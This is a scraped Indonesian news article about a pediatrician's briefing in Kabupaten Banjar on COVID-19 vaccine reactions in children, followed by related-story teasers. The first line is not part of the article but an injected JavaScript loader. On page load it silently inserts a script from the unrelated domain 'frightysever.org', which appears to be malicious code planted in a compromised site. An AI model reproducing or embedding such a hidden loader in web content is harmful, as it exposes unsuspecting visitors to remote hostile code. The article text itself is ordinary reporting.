(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Kendati terus bergulir, program vaksinasi Covid-19 pada anak di wilayah Kabupaten Banjar masih memberikan kekhawatiran terhadap para orangtua serta pihak sekolah penyelenggara Pembelajaran Tatap Muka (PTM).
Hingga saat ini beberapa orangtua mengaku khawatir bahkan ada yang sampai mengalami trauma, karena efek vaksin yang dialami anak seperti lemas hingga demam.
Dokter Spesialis Anak, dr H Syihab Fahyumi SpA turut meyakinkan para orangtua bahwa keamanan vaksin Covid-19 pada anak tidak berbeda dengan vaksin yang diberikan kepada orang dewasa.
Dr H Syihab menyebutkan, reaksi yang dialami pengguna vaksin Sinovac terbagi menjadi dua yaitu pertama lokal meliputi nyeri, kemerahan, pengerasan, dan bengkak. Kedua sistemik, lanjutnya meliputi demam, lemas, hingga nyeri otot dan reaksi lainnya.
Baca juga:Â GEMAS Kalsel Desak Kejati Ajukan Banding Atas Vonis Janggal Pemerkosa Oknum Polisi
“Reaksi lainnya seperti mengantuk, pusing, sakit kepala, gatal, kesemutan, nyeri kuduk, benjolan pada leher, nyeri sendi, nyeri punggung, hidung tersumbat, nyeri tenggorokan, batuk, salesma, mual, muntah, peningkatan nafsu makan, nyeri perut,” katanya dalam sosialisasi percepatan vasinasi Covid-19 untuk anak di Kabupaten Banjar, Selasa (25/1/2022).
Dalam sosialisasi tersebut, dr H Syihab menekankan bahwa tujuan utama vaksinasi anak usia 6-11 tahun ialah mencegah dan meminimalisasi penularan, sakit berat, dan kematian pada anak yang terinfeksi atau anak yang mempunyai risiko terinfeksi.
Sosialisasi percepatan vaksinasi Covid-19 untuk anak di Kabupaten Banjar. Foto: dinkesbanjar
Tentunya keyakinan para orangtua dan pihak sekolah menjadi faktor penunjang utama agar ikhtiar untuk menurunkan risiko penyebaran virus SARS‑CoV terlaksana dengan semestinya.
Untuk itu dr H Syihab menerangkan mengenai apa saja yang bisa dilakukan jika anak mengalami reaksi setelah vaksinasi agar orangtua dan pihak sekolah tanggap dalam menanganinya.
“Pertama tetap tenang, lalu jika terjadi reaksi seperti nyeri, bengkak atau kemerahan di tempat suntikan, kompres dengan air dingin pada lokasi tersebut,” terangnya.
Baca juga:Â Migrant Care Desak Komnas HAM Tuntut Praktik Perbudakan Modern oleh Bupati Langkat
Lanjutnya jika terjadi demam, kompres atau mandi dengan air hangat. Kemudian perbanyak minum air putih dan istirahat. Jika dibutuhkan, minum obat sesuai anjuran petugas kesehatan.
“Turut laporkan semua reaksi atau keluhan yang dialami setelah vaksinasi ke petugas kesehatan melalui nomor kontak yang tertera di kartu vaksinasi,” tutupnya.
Diketahui sosialiasi dengan tema “Manfaat Imunisasi dan Keamanan Vaksinasi Covid-19 pada Anak” tersebut diikuti para Kepala Sekolah Dasar se Kecamatan Martapura. Dan juga turut dihadiri, Kabag Ops Polres Banjar Kompol Letjon Simanjorang SH yang berlangsung di Aula Dinas Pendidikan Kabupaten Banjar.(kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.